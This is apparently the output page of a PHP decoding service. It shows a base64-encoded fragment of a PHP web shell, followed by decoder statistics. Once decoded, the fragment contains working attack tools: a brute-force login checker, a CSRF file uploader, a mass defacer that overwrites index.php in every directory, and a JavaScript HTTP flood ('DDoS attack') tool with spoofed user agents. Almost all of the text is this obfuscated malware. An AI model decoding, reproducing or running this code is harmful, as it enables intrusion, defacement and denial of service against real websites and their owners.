KCQkJCWN1cmxfY2xvc2UoJGNoKTsNCgkJCQlpZiAoJHN0PT0yMDApIA0KCQkJCXsNCgkJCQkJZWNobyAiRk9VTkQnUzogJHVzZXI6JHdvcmQ8YnI+IjsNCgkJCQkJZXhpdDsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyYSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZXhpdDsNCgkJfQ0KCX0NCmlmKCR6PT0iY3NyZiIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCSAgPGgzPiIuJG1lbnVfdG9vbHNbJHpdWyd0aXRsZSddLiIgdiIuJG1lbnVfdG9vbHNbJHpdWyd2ZXInXS4iPC9oMz4NCgkJCSAgPGgzPiBieTogIi4kbWVudV90b29sc1skel1bJ2F1dGgnXS4iPC9oMz4NCgkJICA8L2Rpdj4iOw0KCQkgIA0KCQkgIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXRleHQgbmFtZT1vbmUgcGxhY2Vob2xkZXI9Jm5ic3A7aHR0cDovL3NpdGUuY29tL1twYXRoXS9leHBsb2l0Pjxicj48YnI+IjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dHdvIHBsYWNlaG9sZGVyPSZuYnNwO2ZpbGUsZmlsZW5hbWUsZmlsZXMsZmlsZVtdLEZpbGVkYXRhLHFxZmlsZT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Mb2NrIT48L2Zvcm0+IjsNCg0KCSRwb3N0ID0gJF9QT1NUWydvbmUnXTsNCgkkdGV4dCA9ICRfUE9TVFsndHdvJ107DQoNCmlmICgkX1BPU1Q9PXRydWUpew0KCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IGVuY3R5cGU9bXVsdGlwYXJ0L2Zvcm0tZGF0YSBhY3Rpb249Ii4kcG9zdC4iPiI7DQoJZWNobyAiPGlucHV0IHR5cGU9ZmlsZSBuYW1lPSIuJHRleHQuIj4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1VcGxvYWQhPiI7DQp9DQp9DQoJCSAgDQppZigkej09Im1hc3MtdG9vbHMiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkgIDxoMz4gYnk6ICIuJG1lbnVfdG9vbHNbJHpdWydhdXRoJ10uIjwvaDM+DQoJCSAgPC9kaXY+IjsNCg0KCQllY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsNCmVjaG8gIkJhc2UgRGlyIDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2Jhc2VfZGlyJyBzaXplPSc1MCcgdmFsdWU9JyIuZ2V0Y3dkICgpLiInPjxicj48YnI+IjsNCmVjaG8gIkZpbGUgTmFtZSA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlX25hbWUnIHZhbHVlPSdpbmRleC5waHAnPjxicj48YnI+IjsNCmVjaG8gIllvdXIgSW5kZXggOiA8YnI+PHRleHRhcmVhIHN0eWxlPSd3aWR0aDogNjg1cHg7IGhlaWdodDogMzMwcHg7JyBuYW1lPSdpbmRleCc+Ly9QdXQgWW91ciBJbmRleCBIZXJlPC90ZXh0YXJlYT48YnI+IjsNCmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdGFydCc+PC9mb3JtPjwvY2VudGVyPiI7DQogDQppZiAoaXNzZXQgKCRfUE9TVFsnYmFzZV9kaXInXSkpDQp7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMgKCRfUE9TVFsnYmFzZV9kaXInXSkpDQogICAgICAgICAgICAgICAgZGllICgkX1BPU1RbJ2Jhc2VfZGlyJ10uIiBOb3QgRm91bmQgITxicj4iKTsNCiANCiAgICAgICAgaWYgKCFpc19kaXIgKCRfUE9TVFsnYmFzZV9kaXInXSkpDQogICAgICAgICAgICAgICAgZGllICgkX1BPU1RbJ2Jhc2VfZGlyJ10uIiBJcyBOb3QgQSBEaXJlY3RvcnkgITxicj4iKTsNCiANCiAgICAgICAgQGNoZGlyICgkX1BPU1RbJ2Jhc2VfZGlyJ10pIG9yIGRpZSAoIkNhbm5vdCBPcGVuIERpcmVjdG9yeSIpOw0KIA0KICAgICAgICAkZmlsZXMgPSBAc2NhbmRpciAoJF9QT1NUWydiYXNlX2RpciddKSBvciBkaWUgKCJvb2hoaCBzaGV0PGJyPiIpOw0KIA0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOg0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIiAmJiBAZmlsZXR5cGUgKCRmaWxlKSA9PSAiZGlyIikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaW5kZXggPSBnZXRjd2QgKCkuIi8iLiRmaWxlLiIvIi4kX1BPU1RbJ2ZpbGVfbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzICgkaW5kZXgsICRfUE9TVFsnaW5kZXgnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiRpbmRleCZuYnNwJm5ic3AmbmJzcCZuYnNwPHNwYW4gc3R5bGU9J2NvbG9yOiBncmVlbic+T0s8L3NwYW4+PGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICBlbmRmb3JlYWNoOw0KfQ0KCSAgICANCgl9DQoJaWYoJHo9PSJkZG9zLWF0dGFjayIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCTxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQk8aDM+IGJ5OiAiLiRtZW51X3Rvb2xzWyR6XVsnYXV0aCddLiI8L2gzPg0KCQkgIDwvZGl2PiI7DQoNCgkJcHJpbnRmKCc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoNCgkJCQkJd2luZG93Lm9ubG9hZD1mdW5jdGlvbigpew0KDQoJCQkJCQlzdGFydFRpbWUoKTsNCg0KCQkJCQkJdmFyIGludGVydmFsOw0KCQkJCQkJdmFyIHhodHRwOw0KDQoJCQkJCQl2YXIgcmVxdWVzdHNOb2RlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJyZXF1ZXN0cyIpLA0KCQkJCQkgICAgICAgIHN1Y2Nlc3NOb2RlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzdWNjZXNzIiksDQoJCQkJCSAgICAgICAgcHJvY2Nlc3NOb2RlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwcm9jY2VzcyIpLA0KCQkJCQkgICAgICAgIHRhcmdldE5vZGU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRhcmdldCIpLA0KCQkJCQkgICAgICAgIGF0dGFjaz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXR0YWNrIiksDQoJCQkJCSAgICAgICAgbWV0aG9kPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtZXRob2QiKSwNCgkJCQkJICAgICAgICBzaXplPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaXplIiksDQoJCQkJCSAgICAgICAgdGltZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZSIpLA0KCQkJCQkgICAgICAgIHN0YW1wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzdGFtcCIpDQoJCQkJCSAgICAgICAgdWFnZW50PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ1YWdlbnQiKQ0KCQkJCQkgICAgICAgIHJlZmVyZXI9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInJlZmVyZXIiKQ0KCQkJCQkgICAgICAgIG9yaWdpbj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3JpZ2luIikNCg0KCQkJCQkJdmFyIHJlcXVlc3RzPTAsDQoJCQkJCSAgICAgICAgc3VjY2VlZGVkPTAsDQoJCQkJCSAgICAgICAgcHJvY2Nlc3M9MDsNCg0KCQkJCQkJdmFyIG1ha2VIdHRwUmVxdWVzdD1mdW5jdGlvbigpew0KCQkJCQkJCXZhciBkYXRhPW5ldyBGb3JtRGF0YSgpOw0KCQkJCQkJCXZhciBidWZmPW5ldyBBcnJheUJ1ZmZlcig2NTUzNik7DQoJCQkJCQkJdmFyIHhocng9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQoJCQkJCQkJdmFyIGFnZW50ID1bIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgcnY6NS4wKSBHZWNrby8yMDExMDYxOSBGaXJlZm94LzUuMCIsDQoJCQkJCQkJIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgcnY6NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzUuMCIsDQoJCQkJCQkJIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC81LjAiLA0KCQkJCQkJCSJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjI7IFdPVzY0OyBydjo1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNS4wIiwNCgkJCQkJCQkiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4wOyBXT1c2NDsgcnY6NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzUuMCIsDQoJCQkJCQkJIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgVTsgcnY6NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzUuMCIsDQoJCQkJCQkJIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMS4xOyBydjo1LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNS4wIiwNCgkJCQkJCQkiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xOyBydjoyLjAuMSkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC81LjAiLA0KCQkJCQkJCSJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjYuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC81LjAiLA0KCQkJCQkJCSJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA1LjA7IHJ2OjUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC81LjAiXTsNCgkJCQkJCQlyYW5kb21pemU9ZnVuY3Rpb24oYXJyKXsNCgkJCQkJCQlyYW5kPU1hdGguZmxvb3IoKE1hdGgucmFuZG9tKCkqYXJyLmxlbmd0aCkpOw0KCQkJCQkJICAgIHJldHVybiBhcnJbcmFuZF07fQ0KCQkJCQkJCXhocngub3BlbihtZXRob2QudmFsdWUsdGFyZ2V0Tm9kZS52YWx1ZSx0cnVlKTsNCgkJCQkJCQlpZiAodWFnZW50LmNoZWNrZWQpIHhocnguc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudCIscmFuZG9taXplKGFnZW50KSk7DQoJCQkJCQkJaWYgKHJlZmVyZXIuY2hlY2tlZCkgeGhyeC5zZXRSZXF1ZXN0SGVhZGVyKCJyZWZlcmVyIix0YXJnZXROb2RlLnZhbHVlKTsNCgkJCQkJCQlpZiAob3JpZ2luLmNoZWNrZWQpIHhocnguc2V0UmVxdWVzdEhlYWRlcigib3JpZ2luIiwiKiIpOw0KCQkJCQkJCXhocngub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7DQoJCQkJCQkJICAgIGlmKHhocngucmVhZHlTdGF0ZT09WE1MSHR0cFJlcXVlc3QuRE9ORSl7DQoJCQkJCQkJICAgIAlpZih4aHJ4LnN0YXR1cz49NTAwKXsNCgkJCQkJCQkJICAgIAlvblN1Y2Nlc3MoKTsNCgkJCQkJCQkJICAgIH0NCgkJCQkJCQkJICAgIG9uUHJvY2VzcygpOw0KCQkJCQkJCSAgIAl9DQoJCQkJCQkJICAgCW9uUmVxdWVzdCgpOw0KCQkJCQkJCX0NCgkJCQkJCQl4aHR0cD14aHJ4Ow0KCQkJCQkJCWF0dGFjaz1mdW5jdGlvbigpew0KCQkJCQkJCXN0cj0iIjthcnI9bmV3IFVpbnQzMkFycmF5KGJ1ZmYpOw0KCQkJCQkJCXdpbmRvdy5jcnlwdG8uZ2V0UmFuZG9tVmFsdWVzKGFycik7DQoJCQkJCQkJZm9yKHZhciBpPTA7aTxhcnIubGVuZ3RoO2krKyl7DQoJCQkJCQkJc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGFycltpXSk7DQoJCQkJCQkJfXJldHVybiBzdHI7fQ0KCQkJCQkJCXdoYXQ9YXR0YWNrKCk7DQoJCQkJCQkJZm9yKHZhciBqPTA7ajxzaXplLnZhbHVlO2orKyl7DQoJCQkJCQkJZGF0YS5hcHBlbmQod2hhdCwgc3RhbXAudmFsdWUpO30NCgkJCQkJCQl4aHJ4LnNlbmQoZGF0YSk7DQoJCQkJCSAgICAgICAgfTsNCg0KCQkJCQkJdmFyIG9uUmVxdWVzdD1mdW5jdGlvbigpew0KCQkJCQkgICAgICAgICAgICByZXF1ZXN0cysrOw0KCQkJCQkgICAgICAgICAgICByZXF1ZXN0c05vZGUuaW5uZXJIVE1MPXJlcXVlc3RzOw0KCQkJCQkJICAgIH07DQoNCgkJCQkJCXZhciBvblByb2Nlc3M9ZnVuY3Rpb24oKXsNCgkJCQkJCSAgICAJcHJvY2Nlc3MrKzsNCgkJCQkJICAgICAgICAgICAgcHJvY2Nlc3NOb2RlLmlubmVySFRNTD1wcm9jY2VzczsNCgkJCQkJCSAgICB9Ow0KDQoJCQkJCQl2YXIgb25TdWNjZXNzPWZ1bmN0aW9uKCl7DQoJCQkJCSAgICAgICAgICAgIHN1Y2Nlc3MrKzsNCgkJCQkJICAgICAgICAgICAgc3VjY2Vzc05vZGUuaW5uZXJIVE1MPXN1Y2Nlc3M7DQoJCQkJCSAgICAJfTsNCg0KCQkJCQkJYXR0YWNrLm9uY2xpY2s9ZnVuY3Rpb24oKXsNCgkJCQkJCQl2YXIgdG9kYXk9bmV3IERhdGUoKTsNCgkJCQkJCSAgICB2YXIgaD10b2RheS5nZXRIb3VycygpOw0KCQkJCQkJICAgIHZhciBtPXRvZGF5LmdldE1pbnV0ZXMoKTsNCgkJCQkJCSAgICB2YXIgcz10b2RheS5nZXRTZWNvbmRzKCk7DQoJCQkJCQkgICAgbT1tPDEwPyIwIittOm07DQoJCQkJCQkgICAgcz1zPDEwPyIwIitzOnM7DQoJCQkJCQkJaWYodGhpcy52YWx1ZT09XCdTdGFydFwnKXsNCgkJCQkJCQkJdGhpcy52YWx1ZT0iU3RvcCI7DQoJCQkJCQkJCXJlcXVlc3RzPTA7DQoJCQkJCQkgICAgICAgIHN1Y2NlZWRlZD0wOw0KCQkJCQkJICAgICAgICBwcm9jY2Vzcz0wOw0KCQkJCQkJICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic3RhcnQiKS5pbm5lckhUTUw9IjAwOjAwOjAwIjsNCgkJCQkJCSAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZpbmlzaCIpLmlubmVySFRNTD0iMDA6MDA6MDAiOw0KCQkJCQkJCQlpbnRlcnZhbD1zZXRJbnRlcnZhbChtYWtlSHR0cFJlcXVlc3QsKHBhcnNlSW50KHRpbWUudmFsdWUpKSk7DQoJCQkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzdGFydCIpLmlubmVySFRNTD1oKyI6IittKyI6IitzOw0KCQkJCQkJCX1lbHNlIGlmKHRoaXMudmFsdWU9PVwnU3RvcFwnKXsNCgkJCQkJCQkJdGhpcy52YWx1ZT0iU3RhcnQiOw0KCQkJCQkJCQl4aHR0cC5hYm9ydCgpOw0KCQkJCQkJCQljbGVhckludGVydmFsKGludGVydmFsKTsNCgkJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZpbmlzaCIpLmlubmVySFRNTD1oKyI6IittKyI6IitzOw0KCQkJCQkJCX0NCgkJCQkJCX07DQoNCgkJCQkJCWZ1bmN0aW9uIHN0YXJ0VGltZSgpew0KCQkJCQkJICAgIHZhciB0b2RheT1uZXcgRGF0ZSgpOw0KCQkJCQkJICAgIHZhciBoPXRvZGF5LmdldEhvdXJzKCk7DQoJCQkJCQkgICAgdmFyIG09dG9kYXkuZ2V0TWludXRlcygpOw0KCQkJCQkJICAgIHZhciBzPXRvZGF5LmdldFNlY29uZHMoKTsNCgkJCQkJCSAgICBtPW08MTA/IjAiK206bTsNCgkJCQkJCSAgICBzPXM8MTA/IjAiK3M6czsNCgkJCQkJCSAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZXMiKS5pbm5lckhUTUw9aCsiOiIrbSsiOiIrczsNCgkJCQkJCSAgICB2YXIgdD1zZXRUaW1lb3V0KHN0YXJ0VGltZSw1MDApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJPC9zY3JpcHQ+DQoJCQkJPGZvcm0gb25zdWJtaXQ9InJldHVybiBmYWxzZTsiIGNsYXNzPSJuZXciPg0KCQkJCQk8bGFiZWw+VGFyZ2V0PC9sYWJlbD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9InRhcmdldCIgdmFsdWU9Imh0dHA6Ly93d3cudGFyZ2V0LmNvbSI+PGJyPg0KCQkJCQk8bGFiZWw+U3RhbXA8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0ic3RhbXAiIHZhbHVlPSJERE9TIEFUVEFDSyAhISEiPjxicj4NCgkJCQkJPGxhYmVsPk1ldGhvZDwvbGFiZWw+PHNlbGVjdCBpZD0ibWV0aG9kIj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0iUFVUIj5QVVQ8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0iR0VUIj5HRVQ8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0iUE9TVCI+UE9TVDwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSJIRUFEIj5IRUFEPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9IlRSQUNFIj5UUkFDRTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSJQQVRDSCI+UEFUQ0g8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0iT1BUSU9OUyI+R0VUPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9IkRFTEVURSI+REVMRVRFPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9IkNPTk5FQ1QiPkNPTk5FQ1Q8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0iT1BUSU9OUyI+T1BUSU9OUzwvb3B0aW9uPg0KCQkJCQk8L3NlbGVjdD48YnI+DQoJCQkJCTxsYWJlbD5TaXplIChrQik8L2xhYmVsPjxpbnB1dCB0eXBlPSJudW1iZXIiIGlkPSJzaXplIiB2YWx1ZT0iMTAyNCI+PGJyPg0KCQkJCQk8bGFiZWw+VGltZSAobXMpPC9sYWJlbD48aW5wdXQgdHlwZT0ibnVtYmVyIiBpZD0idGltZSIgdmFsdWU9IjUwMCI+PGJyPg0KCQkJCQk8bGFiZWw+T3B0aW9uczwvbGFiZWw+DQoJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InVhZ2VudCIgbmFtZT0idWFnZW50IiBzdHlsZT0idmVydGljYWwtYWxpZ246bWlkZGxlIj4gVXNlciBBZ2VudA0KCQkJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJyZWZlcmVyIiBuYW1lPSJyZWZlcmVyIiBzdHlsZT0idmVydGljYWwtYWxpZ246bWlkZGxlIj4gUmVmZXJlciAgVGFyZ2V0DQoJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9Im9yaWdpbiIgbmFtZT0ib3JpZ2luIiBzdHlsZT0idmVydGljYWwtYWxpZ246bWlkZGxlIj4gT3JpZ2luPGJyPg0KCQkJCQk8bGFiZWwgc3R5bGU9Im1hcmdpbjo1cHggMHB4IDVweCI+DQoJCQkJCQlUaW1lIDxzcGFuIGlkPSJ0aW1lcyI+MDA6MDA6MDA8L3NwYW4+IHwgDQoJCQkJCQlTdGFydCA8c3BhbiBpZD0ic3RhcnQiPjAwOjAwOjAwPC9zcGFuPiB8IA0KCQkJCQkJRmluaXNoIDxzcGFuIGlkPSJmaW5pc2giPjAwOjAwOjAwPC9zcGFuPg0KCQkJCQk8L2xhYmVsPjxicj4NCgkJCQkJPGxhYmVsIHN0eWxlPSJtYXJnaW46MHB4IDBweCA1cHgiPg0KCQkJCQkJUmVxdWVzdHMgPHNwYW4gaWQ9InJlcXVlc3RzIj4wPC9zcGFuPiB8IA0KCQkJCQkJUHJvY2Nlc3MgPHNwYW4gaWQ9InByb2NjZXNzIj4wPC9zcGFuPiB8IA0KCQkJCQkJU3VjY2VzcyA8c3BhbiBpZD0ic3VjY2VzcyI+MDwvc3Bhbj4NCgkJCQkJPC9sYWJlbD48YnI+DQoJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJhdHRhY2siIHZhbHVlPSJTdGFydCIvPg0KCQkJCTwvZm9ybT4nKTsNCgl9DQoNCglwcmludCAiPC9kaXY+IjsNCgkNCn0NCi8qIEVORCBDVVNUT00gVE9PTFogKi8NCg0KcHJpbnRmKCI8L2Rpdj48IS0tIGNvbnRlbnQgLS0+DQoJCTwvZGl2PjwhLS0gY29udGFpbmVyIC0tPg0KCQkJPGRpdiBpZD0nZm9vdGVyJz4NCgkJCQk8ZGl2IGlkPSdjb3B5cmlnaHRzJz48YSBocmVmPScvL2dpdGh1Yi5jb20vazRtcHIzdC9iNHRtNG4nPkwwTjNXMFJNPC9hPiAmY29weTsgJXM8L2Rpdj4NCgkJCQk8ZGl2IGlkPSdwYWdlbG9hZCc+UGFnZSBMb2FkZWQgaW4gJXMgU2Vjb25kczwvZGl2Pg0KCQkJPC9kaXY+DQoJCTwvYm9keT4NCgkJPC9odG1sPiIsZGF0ZSgnWScpLHJvdW5kKChtaWNyb3RpbWUodHJ1ZSktJHN0YXJ0KSwyKQ0KKTsNCg0KfT8+"))?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 51d04dfc9dc25bb237e61fd6831c1d3f |
Eval Count | 1 |
Decode Time | 261 ms |